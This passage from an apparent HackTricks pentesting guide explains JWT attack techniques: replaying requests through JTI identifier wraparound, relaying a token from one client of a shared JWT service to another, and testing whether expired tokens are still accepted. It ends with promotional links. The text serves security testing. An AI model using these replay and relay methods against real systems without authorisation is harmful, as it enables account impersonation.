**JTI (JWT ID)** claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.\
However, imagine a situation where the maximum length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementing the ID on each request you could abuse this to **replay a request** (needing to send 10000 request between each successful replay).
### JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Other attacks
**Cross-service Relay Attacks**
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user's account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
**Expiry Check of Tokens**
The token's expiry is checked using the "exp" Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user's JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the "exp" claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an "exp" claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool's -R flag.
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
### Tools
{% embed url="https://github.com/ticarpi/jwt_tool" %}
\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.